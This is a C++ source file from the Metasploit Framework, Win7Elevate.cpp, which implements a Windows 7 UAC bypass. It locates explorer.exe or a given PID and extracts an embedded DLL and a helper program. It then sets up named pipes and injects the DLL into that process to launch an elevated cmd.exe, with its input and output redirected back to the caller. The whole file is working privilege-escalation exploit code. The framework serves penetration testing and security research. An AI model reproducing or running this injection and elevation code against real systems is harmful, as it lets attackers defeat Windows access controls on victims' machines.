metasploit-framework/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp

324 lines
16 KiB
C++
Executable File
Raw Blame History

This file contains invisible Unicode characters!

This file contains invisible Unicode characters that may be processed differently from what appears below. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to reveal hidden characters.

#include "stdafx.h"
#include "resource.h"
#include "Win7Elevate_Utils.h"
#include "Win7Elevate_Inject.h"
#include <iostream>
#include <sstream>
#include <algorithm>
#include ".\..\Redirector.h"
#include ".\..\CMMN.h"
//
// By Pavlov P.S. (PavPS)
//
HANDLE PipeIn = NULL;
OVERLAPPED PipeInO;
HANDLE PipeOut = NULL;
OVERLAPPED PipeOutO;
HANDLE PipeErr = NULL;
OVERLAPPED PipeErrO;
//
// Initializes named pipes that will be used for connection with TIOR
//
bool SetupNamedPipe()
{
PipeInO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeIn = CreateNamedPipe(
STDIn_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeIn, &PipeInO );
PipeOutO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeOut = CreateNamedPipe(
STDOut_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeOut, &PipeOutO );
PipeErrO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeErr = CreateNamedPipe(
STDErr_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeErr, &PipeErrO );
return true;
}
//
// Initiates data pumping.
//
DWORD __stdcall Redirector()
{
if ( !PipeIn )
return -1;
if ( PipeInO.hEvent )
WaitForSingleObject( PipeInO.hEvent, -1000 );
if ( PipeOutO.hEvent )
WaitForSingleObject( PipeOutO.hEvent, -1000 );
if ( PipeErrO.hEvent )
WaitForSingleObject( PipeErrO.hEvent, -1000 );
TRedirectorPair in = {0};
in.Source = GetStdHandle(STD_INPUT_HANDLE);
in.Destination = PipeIn;
in.Linux = true;
in.Name.assign(TEXT("w7e-in"));
in.Thread= CreateThread( NULL, 0, Redirector, &in, 0, NULL);
TRedirectorPair out = {0};
out.Destination = GetStdHandle(STD_OUTPUT_HANDLE);
out.Source = PipeOut;
out.Name.assign(TEXT("w7e-out"));
out.Thread= CreateThread( NULL, 0, Redirector, &out, 0, NULL);
TRedirectorPair err = {0};
err.Destination = GetStdHandle(STD_ERROR_HANDLE);
err.Source = PipeErr;
err.Name.assign(TEXT("w7e-err"));
err.Thread= CreateThread( NULL, 0, Redirector, &err, 0, NULL);
HANDLE waiters[3] = { in.Thread, out.Thread, err.Thread };
WaitForMultipleObjects( 3, waiters, FALSE, INFINITE );
return 0;
}
bool IsDefaultProcess ( std::pair<DWORD, std::wstring> pair ) {
return lstrcmpi( pair.second.c_str(), TEXT("explorer.exe") ) == 0;
}
//
// To avoid some problems with deadlocked processes we need to find way how to run program
// once more. Since program uses named papes, it can not be started twice (in current realization).
// So, if instance of this process already exists, we need to kill it. Regular exe, started from the
// user's account has no access to kill existing app.
// Here i use named event to listen for and perform suicide. So, i just need to set this event (if one)
// and already existsing app will kill itself.
//
DWORD WINAPI Suicide( LPVOID Parameter )
{
WaitForSingleObject( reinterpret_cast<HANDLE>( Parameter ), INFINITE );
SetEvent( reinterpret_cast<HANDLE>( Parameter ) );
ExitProcess( EXIT_FAILURE );
return EXIT_SUCCESS;
}
int _tmain(int argc, _TCHAR* argv[])
{
//
// Looking for suicide.
//
HANDLE obj = CreateEvent( NULL, FALSE, TRUE, TEXT("ws7Suicide") );
if ( !obj )
{
ExitProcess( EXIT_FAILURE );
}
//
// If we see that suicide event is in reset state, we just pulce one and wait for
// it's owner to die. When its done, we acuire this event object and also starting listening for
// any signals of this object.
//
do
{
DWORD rv = WaitForSingleObject( obj, 100 );
if ( rv == WAIT_OBJECT_0 ) break;
if ( rv != WAIT_TIMEOUT )
{
ExitProcess( EXIT_FAILURE );
}
PulseEvent( obj );
Sleep(1000); // wee need to wait;
}while( true );
HANDLE hSuicide = CreateThread( NULL, 0, Suicide, obj, 0, NULL );
if ( !hSuicide )
{
return EXIT_FAILURE;
}
do
{
int pass_through_index = 1;
if ( argc <= pass_through_index )
{
std::cout << "Too few arguments" << std::endl;
break;
}
DWORD pid = 0;
if ( lstrcmpi( argv[1], TEXT("--pid") ) == 0 )
{
pass_through_index = 3;
if ( argc <= pass_through_index )
{
std::cout << "Too few arguments" << std::endl;
break;
}
std::wistringstream pid_stream( argv[2] );
if ( ! ( pid_stream >> pid ) )
{
std::cout << "Invalid pid" << std::endl;
pid = 0;
}
}
if ( ! pid )
{
std::map< DWORD, std::wstring > procs;
if (!W7EUtils::GetProcessList(GetConsoleWindow(), procs))
{
std::cout << "Unable to obtain list of processes" << std::endl;
break;
}
std::map< DWORD, std::wstring >::const_iterator iter = std::find_if( procs.begin(), procs.end(), IsDefaultProcess );
if (iter == procs.end())
{
std::cout << "Unable to find default process" << std::endl;
break;
}
pid = (*iter).first;
}
TOKEN_ELEVATION_TYPE g_tet = TokenElevationTypeDefault;
if (!W7EUtils::GetElevationType(&g_tet))
{
_tprintf(_T("GetElevationType failed"));
break;
}
W7EUtils::CTempResource dllResource(NULL, IDD_EMBEDDED_DLL);
std::wstring strOurDllPath;
if (!dllResource.GetFilePath(strOurDllPath))
{
//MessageBox(GetConsoleWindow(), L"Error extracting dll resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
break;
}
//
// Extraction TIOR.exe from resources and saves exe in the folder where current application
// exists.
//
W7EUtils::CTempResource TIORResource(NULL, IDD_EMBEDDED_TIOR);
std::wstring strOurTIORPath;
std::wstring tior;
bool tior_succeed = false;
if (TIORResource.GetFilePath(strOurTIORPath))
{
TCHAR me_buff[MAX_PATH];
DWORD me_count = GetModuleFileName( NULL, me_buff, MAX_PATH );
if ( me_count )
{
TCHAR *me_tail = me_buff + me_count - 1;
for( ; me_tail > me_buff; me_tail-- )
if ( *me_tail == '\\' )
{
me_tail++;
*me_tail = 0;
break;
}
tior.assign(me_buff);
tior.append( TEXT("tior.exe") );
if ( CopyFile( strOurTIORPath.c_str(), tior.c_str(), FALSE ) )
{
tior_succeed = true;
}
}
}
if ( tior_succeed )
{
tior_succeed = false;
CInterprocessStorage *tior_storage = CInterprocessStorage::Create( TEXT("w7e_TIORPath") );
if ( tior_storage )
{
tior_storage->SetString( tior );
tior_succeed = true;
}
}
if ( !tior_succeed )
{
//MessageBox(GetConsoleWindow(), L"Error extracting tior resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
break;
}
std::wstring args;
for ( int i = pass_through_index; i < argc; i++ )
{
bool q = wcsstr(argv[i], TEXT(" ")) || wcsstr(argv[i], TEXT("\t"));
if ( q ) args.append( TEXT("\"") );
args.append( argv[i] );
if ( q ) args.append( TEXT("\"") );
args.append( TEXT(" ") );
}
if ( !SetupNamedPipe() )
std::cout << "Unable to setup named pipe" << std::endl;
//
// Preparing shared variables to be used by TIOR that is going to start after we will inject
// and load dll into elevated process.
//
CInterprocessStorage::Create( TEXT("w7e_TIORShell"), std::wstring(TEXT("cmd.exe")) );
CInterprocessStorage::Create( TEXT("w7e_TIORArgs"), args );
CInterprocessStorage::Create( TEXT("w7e_TIORDir"), std::wstring(TEXT("C:\\Windows\\System32")) );
W7EInject::AttemptOperation(
GetConsoleWindow(),
true,
true,
pid,
TEXT("n/a"),
argv[pass_through_index],
args.c_str(),
TEXT("C:\\Windows\\System32"),
strOurDllPath.c_str(),
Redirector);
return EXIT_SUCCESS;
}while(false);
return EXIT_FAILURE;
}